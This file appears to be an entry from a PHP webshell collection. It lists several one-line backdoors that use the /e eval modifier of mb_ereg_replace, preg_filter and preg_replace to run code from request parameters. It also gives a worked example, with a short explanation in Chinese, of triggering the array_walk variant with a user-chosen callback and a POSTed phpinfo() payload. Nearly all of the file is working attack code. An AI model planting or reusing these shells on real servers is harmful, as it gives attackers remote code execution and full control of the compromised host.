webshell/php/2020.08.20.14.php

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2020-08-20 04:40:40 +00:00
<?php
mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
?>
<?php
preg_filter('|\d|e', $_REQUEST['x'], '2');
?>
use like:
```
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['x'] => '|.*|e',);
array_walk($arr, $e, '');
?>
此时提交如下 payload 的话:
Php
shell.php?e=preg_replace
最后就相当于执行了如下语句:
Php
preg_replace('|.*|e',$_POST['x'],'')
这个时候只需要 POST x=phpinfo();
```